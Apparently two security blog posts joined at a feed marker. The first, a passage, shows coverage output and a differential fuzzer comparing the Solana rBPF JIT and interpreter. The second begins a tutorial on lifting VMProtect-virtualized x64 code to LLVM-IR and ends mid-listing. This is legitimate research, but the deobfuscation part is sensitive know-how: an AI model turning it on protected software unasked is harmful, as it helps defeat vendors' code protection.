898| 13| ebpf::OR32_REG => reg[dst] = (reg[dst] as u32 | reg[src] as u32) as u64,
899| 46| ebpf::AND32_IMM => reg[dst] = (reg[dst] as u32 & insn.imm as u32) as u64,
900| 16| ebpf::AND32_REG => reg[dst] = (reg[dst] as u32 & reg[src] as u32) as u64,
901| 4| ebpf::LSH32_IMM => reg[dst] = (reg[dst] as u32).wrapping_shl(insn.imm as u32) as u64,
902| 32| ebpf::LSH32_REG => reg[dst] = (reg[dst] as u32).wrapping_shl(reg[src] as u32) as u64,
903| 2| ebpf::RSH32_IMM => reg[dst] = (reg[dst] as u32).wrapping_shr(insn.imm as u32) as u64,
904| 4| ebpf::RSH32_REG => reg[dst] = (reg[dst] as u32).wrapping_shr(reg[src] as u32) as u64,
905| 54| ebpf::NEG32 => { reg[dst] = (reg[dst] as i32).wrapping_neg() as u64; reg[dst] &= u32::MAX as u64; },
906| 90| ebpf::MOD32_IMM => reg[dst] = (reg[dst] as u32 % insn.imm as u32) as u64,
907| | ebpf::MOD32_REG => {
908| 20| if reg[src] as u32 == 0 {
909| 6| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
910| 14| }
911| 14| reg[dst] = (reg[dst] as u32 % reg[src] as u32) as u64;
912| | },
913| 96| ebpf::XOR32_IMM => reg[dst] = (reg[dst] as u32 ^ insn.imm as u32) as u64,
914| 14| ebpf::XOR32_REG => reg[dst] = (reg[dst] as u32 ^ reg[src] as u32) as u64,
915| 59| ebpf::MOV32_IMM => reg[dst] = insn.imm as u32 as u64,
916| 7| ebpf::MOV32_REG => reg[dst] = (reg[src] as u32) as u64,
917| 15| ebpf::ARSH32_IMM => { reg[dst] = (reg[dst] as i32).wrapping_shr(insn.imm as u32) as u64; reg[dst] &= u32::MAX as u64; },
918| 236| ebpf::ARSH32_REG => { reg[dst] = (reg[dst] as i32).wrapping_shr(reg[src] as u32) as u64; reg[dst] &= u32::MAX as u64; },
919| 2| ebpf::LE => {
920| 2| reg[dst] = match insn.imm {
921| 1| 16 => (reg[dst] as u16).to_le() as u64,
922| 1| 32 => (reg[dst] as u32).to_le() as u64,
923| 0| 64 => reg[dst].to_le(),
924| | _ => {
925| 0| return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
926| | }
927| | };
928| | },
929| 2| ebpf::BE => {
930| 2| reg[dst] = match insn.imm {
931| 1| 16 => (reg[dst] as u16).to_be() as u64,
932| 1| 32 => (reg[dst] as u32).to_be() as u64,
933| 0| 64 => reg[dst].to_be(),
934| | _ => {
935| 0| return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
936| | }
937| | };
938| | },
939| |
940| | // BPF_ALU64 class
941| 16.7k| ebpf::ADD64_IMM => reg[dst] = reg[dst].wrapping_add(insn.imm as u64),
942| 26| ebpf::ADD64_REG => reg[dst] = reg[dst].wrapping_add(reg[src]),
943| 145| ebpf::SUB64_IMM => reg[dst] = reg[dst].wrapping_sub(insn.imm as u64),
944| 25| ebpf::SUB64_REG => reg[dst] = reg[dst].wrapping_sub(reg[src]),
945| 480| ebpf::MUL64_IMM => reg[dst] = reg[dst].wrapping_mul(insn.imm as u64),
946| 13| ebpf::MUL64_REG => reg[dst] = reg[dst].wrapping_mul(reg[src]),
947| 191| ebpf::DIV64_IMM => reg[dst] /= insn.imm as u64,
948| | ebpf::DIV64_REG => {
949| 5| if reg[src] == 0 {
950| 3| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
951| 2| }
952| 2| reg[dst] /= reg[src];
953| | },
954| | ebpf::SDIV64_IMM => {
955| 0| if reg[dst] as i64 == i64::MIN && insn.imm == -1 {
956| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
957| 0| }
958| 0|
959| 0| reg[dst] = (reg[dst] as i64 / insn.imm) as u64
960| | }
961| | ebpf::SDIV64_REG => {
962| 0| if reg[src] == 0 {
963| 0| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
964| 0| }
965| 0| if reg[dst] as i64 == i64::MIN && reg[src] as i64 == -1 {
966| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
967| 0| }
968| 0| reg[dst] = (reg[dst] as i64 / reg[src] as i64) as u64;
969| | },
970| 115| ebpf::OR64_IMM => reg[dst] |= insn.imm as u64,
971| 19| ebpf::OR64_REG => reg[dst] |= reg[src],
972| 93| ebpf::AND64_IMM => reg[dst] &= insn.imm as u64,
973| 19| ebpf::AND64_REG => reg[dst] &= reg[src],
974| 19| ebpf::LSH64_IMM => reg[dst] = reg[dst].wrapping_shl(insn.imm as u32),
975| 48| ebpf::LSH64_REG => reg[dst] = reg[dst].wrapping_shl(reg[src] as u32),
976| 4| ebpf::RSH64_IMM => reg[dst] = reg[dst].wrapping_shr(insn.imm as u32),
977| 5| ebpf::RSH64_REG => reg[dst] = reg[dst].wrapping_shr(reg[src] as u32),
978| 94| ebpf::NEG64 => reg[dst] = (reg[dst] as i64).wrapping_neg() as u64,
979| 141| ebpf::MOD64_IMM => reg[dst] %= insn.imm as u64,
980| | ebpf::MOD64_REG => {
981| 19| if reg[src] == 0 {
982| 4| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
983| 15| }
984| 15| reg[dst] %= reg[src];
985| | },
986| 98| ebpf::XOR64_IMM => reg[dst] ^= insn.imm as u64,
987| 17| ebpf::XOR64_REG => reg[dst] ^= reg[src],
988| 89| ebpf::MOV64_IMM => reg[dst] = insn.imm as u64,
989| 10| ebpf::MOV64_REG => reg[dst] = reg[src],
990| 14| ebpf::ARSH64_IMM => reg[dst] = (reg[dst] as i64).wrapping_shr(insn.imm as u32) as u64,
991| 294| ebpf::ARSH64_REG => reg[dst] = (reg[dst] as i64).wrapping_shr(reg[src] as u32) as u64,
992| |
993| | // BPF_JMP class
994| 327k| ebpf::JA => { next_pc = (next_pc as isize + insn.off as isize) as usize; },
995| 116| ebpf::JEQ_IMM => if reg[dst] == insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^76 ^40
996| 131k| ebpf::JEQ_REG => if reg[dst] == reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^131k ^11
997| 163k| ebpf::JGT_IMM => if reg[dst] > insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^147k ^16.4k
998| 131k| ebpf::JGT_REG => if reg[dst] > reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^131k ^34
999| 65.5k| ebpf::JGE_IMM => if reg[dst] >= insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^8
1000| 65.5k| ebpf::JGE_REG => if reg[dst] >= reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^11
1001| 65.5k| ebpf::JLT_IMM => if reg[dst] < insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^3
1002| 6| ebpf::JLT_REG => if reg[dst] < reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^4 ^2
1003| 131k| ebpf::JLE_IMM => if reg[dst] <= insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^131k ^2
1004| 65.5k| ebpf::JLE_REG => if reg[dst] <= reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^2
1005| 3| ebpf::JSET_IMM => if reg[dst] & insn.imm as u64 != 0 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1 ^2
1006| 2| ebpf::JSET_REG => if reg[dst] & reg[src] != 0 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1007| 196k| ebpf::JNE_IMM => if reg[dst] != insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^196k ^3
1008| 131k| ebpf::JNE_REG => if reg[dst] != reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^131k ^3
1009| 65.5k| ebpf::JSGT_IMM => if reg[dst] as i64 > insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^6
1010| 14| ebpf::JSGT_REG => if reg[dst] as i64 > reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1 ^13
1011| 65.5k| ebpf::JSGE_IMM => if reg[dst] as i64 >= insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^12
1012| 65.5k| ebpf::JSGE_REG => if reg[dst] as i64 >= reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^4
1013| 131k| ebpf::JSLT_IMM => if (reg[dst] as i64) < insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^131k ^20
1014| 147k| ebpf::JSLT_REG => if (reg[dst] as i64) < reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^147k ^23
1015| 65.5k| ebpf::JSLE_IMM => if (reg[dst] as i64) <= insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^4
1016| 131k| ebpf::JSLE_REG => if (reg[dst] as i64) <= reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^131k ^2
1017| |
1018| | ebpf::CALL_REG => {
1019| 0| let target_address = reg[insn.imm as usize];
1020| 0| reg[ebpf::FRAME_PTR_REG] =
1021| 0| self.stack.push(®[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
1022| 0| if target_address < self.program_vm_addr {
1023| 0| return Err(EbpfError::CallOutsideTextSegment(pc + ebpf::ELF_INSN_DUMP_OFFSET, target_address / ebpf::INSN_SIZE as u64 * ebpf::INSN_SIZE as u64));
1024| 0| }
1025| 0| next_pc = self.check_pc(pc, (target_address - self.program_vm_addr) as usize / ebpf::INSN_SIZE)?;
1026| | },
1027| |
1028| | // Do not delegate the check to the verifier, since registered functions can be
1029| | // changed after the program has been verified.
1030| | ebpf::CALL_IMM => {
1031| 17| let mut resolved = false;
1032| 17| let (syscalls, calls) = if config.static_syscalls {
1033| 17| (insn.src == 0, insn.src != 0)
1034| | } else {
1035| 0| (true, true)
1036| | };
1037| |
1038| 17| if syscalls {
1039| 6| if let Some(syscall) = self.executable.get_syscall_registry().lookup_syscall(insn.imm as u32) {
^0
1040| 0| resolved = true;
1041| 0|
1042| 0| if config.enable_instruction_meter {
1043| 0| let _ = instruction_meter.consume(*last_insn_count);
1044| 0| }
1045| 0| *last_insn_count = 0;
1046| 0| let mut result: ProgramResult<E> = Ok(0);
1047| 0| (unsafe { std::mem::transmute::<u64, SyscallFunction::<E, *mut u8>>(syscall.function) })(
1048| 0| self.syscall_context_objects[SYSCALL_CONTEXT_OBJECTS_OFFSET + syscall.context_object_slot],
1049| 0| reg[1],
1050| 0| reg[2],
1051| 0| reg[3],
1052| 0| reg[4],
1053| 0| reg[5],
1054| 0| &self.memory_mapping,
1055| 0| &mut result,
1056| 0| );
1057| 0| reg[0] = result?;
1058| 0| if config.enable_instruction_meter {
1059| 0| remaining_insn_count = instruction_meter.get_remaining();
1060| 0| }
1061| 6| }
1062| 11| }
1063| |
1064| 17| if calls {
1065| 11| if let Some(target_pc) = self.executable.lookup_bpf_function(insn.imm as u32) {
^0
1066| 0| resolved = true;
1067| |
1068| | // make BPF to BPF call
1069| 0| reg[ebpf::FRAME_PTR_REG] =
1070| 0| self.stack.push(®[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
1071| 0| next_pc = self.check_pc(pc, target_pc)?;
1072| 11| }
1073| 6| }
1074| |
1075| 17| if !resolved {
1076| 17| if config.disable_unresolved_symbols_at_runtime {
1077| 6| return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
1078| | } else {
1079| 11| self.executable.report_unresolved_symbol(pc)?;
1080| | }
1081| 0| }
1082| | }
1083| |
1084| | ebpf::EXIT => {
1085| 39| match self.stack.pop::<E>() {
1086| 0| Ok((saved_reg, frame_ptr, ptr)) => {
1087| 0| // Return from BPF to BPF call
1088| 0| reg[ebpf::FIRST_SCRATCH_REG
1089| 0| ..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS]
1090| 0| .copy_from_slice(&saved_reg);
1091| 0| reg[ebpf::FRAME_PTR_REG] = frame_ptr;
1092| 0| next_pc = self.check_pc(pc, ptr)?;
1093| | }
1094| | _ => {
1095| 39| return Ok(reg[0]);
1096| | }
1097| | }
1098| | }
1099| 0| _ => return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET)),
1100| | }
1101| |
1102| 2.16M| if config.enable_instruction_meter && *last_insn_count >= remaining_insn_count {
1103| | // Use `pc + instruction_width` instead of `next_pc` here because jumps and calls don't continue at the end of this instruction
1104| 33| return Err(EbpfError::ExceededMaxInstructions(pc + instruction_width + ebpf::ELF_INSN_DUMP_OFFSET, initial_insn_count));
1105| 2.16M| }
1106| | }
1107| |
1108| 683| Err(EbpfError::ExecutionOverrun(
1109| 683| next_pc + ebpf::ELF_INSN_DUMP_OFFSET,
1110| 683| ))
1111| 886| }
Now we see that jump and call instructions are actually used, and that we execute the content of the interpreter loop significantly more despite having approximately the same amount of successful calls to the interpreter function. From this, we can infer that not only are more programs successfully executed, but also that, of those executed, they tend to have more valid instructions executed overall.
While this isn’t hitting every branch, it’s now hitting significantly more – and with much more interesting values.
The development of this version of the fuzzer took about an hour, so we’re at a total of one hour of development.
Now that we have a fuzzer which can generate lots of inputs that are actually interesting to us, we can develop a fuzzer which can test both JIT and the interpreter against each other. But how do we even test them against each other?
As the definition of pseudo-oracle says: we need to check if the alternate program (for JIT, the interpreter, and vice versa), when provided with the same “input” provides the same “output”. So what inputs and outputs do we have?
For inputs, there are three notable things we’ll want to vary:
Once we’ve developed our inputs, we’ll also need to think of our outputs:
Then, to execute both JIT and the interpreter, we’ll take the following steps:
As before, I’ve split this up into more manageable chunks so you can read them one at a time outside of their context before trying to interpret their final context.
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
template: ConfigTemplate,
... snip ...
prog: FuzzProgram,
mem: Vec<u8>,
}
fuzz_target!(|data: FuzzData| {
let mut prog = make_program(&data.prog, Arch::X64);
... snip ...
let config = data.template.into();
if check(prog.into_bytes(), &config).is_err() {
// verify please
return;
}
let mut interp_mem = data.mem.clone();
let mut jit_mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0, "entrypoint").unwrap();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
prog.into_bytes(),
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
if Executable::jit_compile(&mut executable).is_ok() {
let interp_mem_region = MemoryRegion::new_writable(&mut interp_mem, ebpf::MM_INPUT_START);
let mut interp_vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![interp_mem])
.unwrap();
let jit_mem_region = MemoryRegion::new_writable(&mut jit_mem, ebpf::MM_INPUT_START);
let mut jit_vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![jit_mem_region])
.unwrap();
// See step 3
}
});
fuzz_target!(|data: FuzzData| {
// see step 2
if Executable::jit_compile(&mut executable).is_ok() {
// see step 2
let mut interp_meter = TestInstructionMeter { remaining: 1 << 16 };
let interp_res = interp_vm.execute_program_interpreted(&mut interp_meter);
let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
if interp_res != jit_res {
panic!("Expected {:?}, but got {:?}", interp_res, jit_res);
}
if interp_res.is_ok() {
// we know jit res must be ok if interp res is by this point
if interp_meter.remaining != jit_meter.remaining {
panic!(
"Expected {} insts remaining, but got {}",
interp_meter.remaining, jit_meter.remaining
);
}
if interp_mem != jit_mem {
panic!(
"Expected different memory. From interpreter: {:?}\nFrom JIT: {:?}",
interp_mem, jit_mem
);
}
}
}
});
Below is the final code for the fuzzer, including all of the bits I didn’t show above for concision.
#![no_main]
use std::collections::BTreeMap;
use libfuzzer_sys::fuzz_target;
use grammar_aware::*;
use solana_rbpf::{
elf::{register_bpf_function, Executable},
insn_builder::{Arch, Instruction, IntoBytes},
memory_region::MemoryRegion,
user_error::UserError,
verifier::check,
vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use crate::common::ConfigTemplate;
mod common;
mod grammar_aware;
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
template: ConfigTemplate,
exit_dst: u8,
exit_src: u8,
exit_off: i16,
exit_imm: i64,
prog: FuzzProgram,
mem: Vec<u8>,
}
fuzz_target!(|data: FuzzData| {
let mut prog = make_program(&data.prog, Arch::X64);
prog.exit()
.set_dst(data.exit_dst)
.set_src(data.exit_src)
.set_off(data.exit_off)
.set_imm(data.exit_imm)
.push();
let config = data.template.into();
if check(prog.into_bytes(), &config).is_err() {
// verify please
return;
}
let mut interp_mem = data.mem.clone();
let mut jit_mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0, "entrypoint").unwrap();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
prog.into_bytes(),
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
if Executable::jit_compile(&mut executable).is_ok() {
let interp_mem_region = MemoryRegion::new_writable(&mut interp_mem, ebpf::MM_INPUT_START);
let mut interp_vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![interp_mem])
.unwrap();
let jit_mem_region = MemoryRegion::new_writable(&mut jit_mem, ebpf::MM_INPUT_START);
let mut jit_vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![jit_mem_region])
.unwrap();
let mut interp_meter = TestInstructionMeter { remaining: 1 << 16 };
let interp_res = interp_vm.execute_program_interpreted(&mut interp_meter);
let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
if interp_res != jit_res {
panic!("Expected {:?}, but got {:?}", interp_res, jit_res);
}
if interp_res.is_ok() {
// we know jit res must be ok if interp res is by this point
if interp_meter.remaining != jit_meter.remaining {
panic!(
"Expected {} insts remaining, but got {}",
interp_meter.remaining, jit_meter.remaining
);
}
if interp_mem != jit_mem {
panic!(
"Expected different memory. From interpreter: {:?}\nFrom JIT: {:?}",
interp_mem, jit_mem
);
}
}
}
});
Theoretically, an up-to-date version is available in the rBPF repo.
And, with that, we have our fuzzer! This part of the fuzzer took approximately three hours to implement (largely due to finding several issues with the fuzzer and debugging them along the way).
At this point, we were about six hours in. I turned on the fuzzer and waited:
$ cargo +nightly fuzz run smart-jit-diff --jobs 4 -- -ignore_crashes=1
And the crashes began. Two main bugs appeared:
To read the details of these bugs, continue to Part 2.
]]>First, let me list some important events that led to my curiosity for reversing obfuscation solutions and attack them with LLVM.
The ideas documented in this post come from insights obtained during the aforementioned research efforts, fine-tuned specifically to get a good-enough output prior to the recompilation/decompilation phases, and should be considered as stable as a proof-of-concept can be.
Before anyone starts a war about which framework is better for the job, pause a few seconds and search the truth deep inside you: every framework has pros/cons and everything boils down to choosing which framework to get mad at when something doesn’t work. I personally decided to get mad at LLVM, which over time proved to be a good research playground, rich with useful analysis and optimizations, consistently maintained, sporting a nice community and deeply entangled with the academic and industry worlds.
With that said, it’s crystal clear that LLVM is not born as a software deobfuscation framework, so scratching your head for hours, diving into its internals and bending them to your needs is a minimum requirement to achieve your goals.
I apologize in advance for the ample presence of long-ish code snippets, but I wanted the reader to have the relevant C++ or LLVM-IR code under their nose while discussing it.
The following diagram shows a high-level overview of all the actions and components described in the upcoming sections. The blue blocks represent the inputs, the yellow blocks the actions, the white blocks the intermediate information and the purple block the output.
Enough words or code have been spent by others (1, 2, 3, 4) describing the virtual machine architecture used by VMProtect, so the next paragraph will quickly sum up the involved data structures with an eye on some details that will be fundamental to make LLVM’s job easier. To further simplify the explanation, the following paragraphs will assume the handling of x64 code virtualized by VMProtect 3.x. Drawing a parallel with x86 is trivial.
Let’s start by saying that many deobfuscation tools are completely disregarding, or at best unsoundly handling, any information related to the aliasing properties bound to the memory accesses present in the code under analysis. LLVM on the contrary is a framework that bases a lot of its optimization passes on precise aliasing information, in such a way that the semantic correctness of the code is preserved. Additionally LLVM also has strong optimization passes benefiting from precise liveness information, that we absolutely want to take advantage of to clean any unnecessary stores to memory that are irrelevant after the execution of the virtualized code.
This means that we need to pause for a moment to think about the properties of the data structures involved in the code that we are going to lift, keeping in mind how they may alias with each other, for how long we need them to hold their values and if there are safe assumptions that we can feed to LLVM to obtain the best possible result.
A suboptimal representation of the data structures is most likely going to lead to suboptimal lifted code because the LLVM’s optimizations are going to be hindered by the lack of information, erring on the safe side to keep the code semantically correct. Way worse though, is the case where an unsound assumption is going to lead to lifted code that is semantically incorrect.
At a high level we can summarize the data-related virtual machine components as follows:
30 virtual registers: used internally by the virtual machine. Their liveness scope starts after the VmEnter
, when they are initialized with the incoming host execution context, and ends before the VmExit(s)
, when their values are copied to the outgoing host execution context. Therefore their state should not persist outside the virtualized code. They are allocated on the stack, in a memory chunk that can only be accessed by specific VmHandlers
and is therefore guaranteed to be inaccessible by an arbitrary stack access executed by the virtualized code. They are independent from one another, so writing to one won’t affect the others. During the virtual execution they can be accessed as a whole or in subregisters. From now on referred to as VmRegisters
.
19 passing slots: used by VMProtect to pass the execution state from one VmBlock
to another. Their liveness starts at the epilogue of a VmBlock
and ends at the prologue of the successor VmBlock(s)
. They are allocated on the stack and, while alive, they are only accessed by the push/pop instructions at the epilogue/prologue of each VmBlock
. They are independent from one another and always accessed as a whole stack slot. From now on referred to as VmPassingSlots
.
16 general purpose registers: pushed to the stack during the VmEnter
, loaded and manipulated by means of the VmRegisters
and popped from the stack during the VmExit(s)
, reflecting the changes made to them during the virtual execution. Their liveness scope starts before the VmEnter
and ends after the VmExit(s)
, so their state must persist after the execution of the virtualized code. They are independent from one another, so writing to one won’t affect the others. Contrarily to the VmRegisters
, the general purpose registers are always accessed as a whole. The flags register is also treated as the general purpose registers liveness-wise, but it can be directly accessed by some VmHandlers
.
4 general purpose segments: the FS
and GS
general purpose segment registers have their liveness scope matching with the general purpose registers and the underlying segments are guaranteed not to overlap with other memory regions (e.g. SS
, DS
). On the contrary, accesses to the SS
and DS
segments are not always guaranteed to be distinct with each other. The liveness of the SS
and DS
segments also matches with the general purpose registers. A little digression: in the past I noticed that some projects were lifting the stack with an intra-virtual function scope which, in my experience, may cause a number of problems if the virtualized code is not a function with a well-formed stack frame, but rather a shellcode that pops some value pushed prior to entering the virtual machine or pushes some value that needs to live after exiting the virtual machine.
With the information gathered from the previous section, we can proceed with defining some basic LLVM-IR structures that will then be used to lift the individual VmHandlers
, VmBlocks
and VmFunctions
.
When I first started with LLVM, my approach to generate the needed structures or instruction chains was through the IRBuilder class, but I quickly realized that I was spending more time looking at the documentation to generate the required types and instructions than actually focusing on designing them. Then, while working on SATURN, it became obvious that following Remill’s approach is a winning strategy, at least for the initial high level design phase. In fact their idea is to implement the structures and semantics in C++, compile them to LLVM-IR and dynamically load the generated bitcode file to be used by the lifter.
Without further ado, the following is a minimal implementation of a stub function that we can use as a template to lift a VmStub
(virtualized code between a VmEnter
and one or more VmExit(s)
):
struct VirtualRegister final {
union {
alignas(1) struct {
uint8_t b0;
uint8_t b1;
uint8_t b2;
uint8_t b3;
uint8_t b4;
uint8_t b5;
uint8_t b6;
uint8_t b7;
} byte;
alignas(2) struct {
uint16_t w0;
uint16_t w1;
uint16_t w2;
uint16_t w3;
} word;
alignas(4) struct {
uint32_t d0;
uint32_t d1;
} dword;
alignas(8) uint64_t qword;
} __attribute__((packed));
} __attribute__((packed));
using rref = size_t &__restrict__;
extern "C" uint8_t RAM[0];
extern "C" uint8_t GS[0];
extern "C" uint8_t FS[0];
extern "C"
size_t HelperStub(
rref rax, rref rbx, rref rcx,
rref rdx, rref rsi, rref rdi,
rref rbp, rref rsp, rref r8,
rref r9, rref r10, rref r11,
rref r12, rref r13, rref r14,
rref r15, rref flags,
size_t KEY_STUB, size_t RET_ADDR, size_t REL_ADDR,
rref vsp, rref vip,
VirtualRegister *__restrict__ vmregs,
size_t *__restrict__ slots);
extern "C"
size_t HelperFunction(
rref rax, rref rbx, rref rcx,
rref rdx, rref rsi, rref rdi,
rref rbp, rref rsp, rref r8,
rref r9, rref r10, rref r11,
rref r12, rref r13, rref r14,
rref r15, rref flags,
size_t KEY_STUB, size_t RET_ADDR, size_t REL_ADDR)
{
// Allocate the temporary virtual registers
VirtualRegister vmregs[30] = {0};
// Allocate the temporary passing slots
size_t slots[19] = {0};
// Initialize the virtual registers
size_t vsp = rsp;
size_t vip = 0;
// Force the relocation address to 0
REL_ADDR = 0;
// Execute the virtualized code
vip = HelperStub(
rax, rbx, rcx, rdx, rsi, rdi,
rbp, rsp, r8, r9, r10, r11,
r12, r13, r14, r15, flags,
KEY_STUB, RET_ADDR, REL_ADDR,
vsp, vip, vmregs, slots);
// Return the next address(es)
return vip;
}
The VirtualRegister
structure is meant to represent a VmRegister
, divided in smaller sub-chunks that are going to be accessed by the VmHandlers
in ways that don’t necessarily match the access to the subregisters on the x64 architecture. As an example, virtualizing the 64 bits bswap
instruction will yield VmHandlers
accessing all the word sub-chunks of a VmRegister
. The __attribute__((packed))
is meant to generate a structure without padding bytes, matching the exact data layout used by a VmRegister
.
The rref
definition is a convenience type adopted in the definition of the arguments used by the helper functions, that, once compiled to LLVM-IR, will generate a pointer parameter with a noalias attribute. The noalias
attribute is hinting to the compiler that any memory access happening inside the function that is not dereferencing a pointer derived from the pointer parameter, is guaranteed not to alias with a memory access dereferencing a pointer derived from the pointer parameter.
The RAM
, GS
and FS
array definitions are convenience zero-length arrays that we can use to generate indexed memory accesses to a generic memory slot (stack segment, data segment), GS
segment and FS
segment. The accesses will be generated as getelementptr instructions and LLVM will automatically treat a pointer with base RAM
as not aliasing with a pointer with base GS
or FS
, which is extremely convenient to us.
The HelperStub
function prototype is a convenience declaration that we’ll be able to use in the lifter to represent a single VmBlock
. It accepts as parameters the sequence of general purpose register pointers, the flags register pointer, three key values (KEY_STUB
, RET_ADDR
, REL_ADDR
) pushed by each VmEnter
, the virtual stack pointer, the virtual program counter, the VmRegisters
pointer and the VmPassingSlots
pointer.
The HelperFunction
function definition is a convenience template that we’ll be able to use in the lifter to represent a single VmStub
. It accepts as parameters the sequence of general purpose register pointers, the flags register pointer and the three key values (KEY_STUB
, RET_ADDR
, REL_ADDR
) pushed by each VmEnter
. The body is declaring an array of 30 VmRegisters
, an array of 19 VmPassingSlots
, the virtual stack pointer and the virtual program counter. Once compiled to LLVM-IR they’ll be turned into alloca declarations (stack frame allocations), guaranteed not to alias with other pointers used into the function and that will be automatically released at the end of the function scope. As a convenience we are setting the REL_ADDR
to 0
, but that can be dynamically set to the proper REL_ADDR
provided by the user according to the needs of the binary under analysis. Last but not least, we are issuing the call to the HelperStub
function, passing all the needed parameters and obtaining as output the updated instruction pointer, that, in turn, will be returned by the HelperFunction
too.
The global variable and function declarations are marked as extern "C"
to avoid any form of name mangling. In fact we want to be able to fetch them from the dynamically loaded LLVM-IR Module using functions like getGlobalVariable
and getFunction
.
The compiled and optimized LLVM-IR code for the described C++ definitions follows:
%struct.VirtualRegister = type { %union.anon }
%union.anon = type { i64 }
%struct.anon = type { i8, i8, i8, i8, i8, i8, i8, i8 }
@RAM = external local_unnamed_addr global [0 x i8], align 1
@GS = external local_unnamed_addr global [0 x i8], align 1
@FS = external local_unnamed_addr global [0 x i8], align 1
declare i64 @HelperStub(i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64, i64, i64, i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), %struct.VirtualRegister*, i64*) local_unnamed_addr
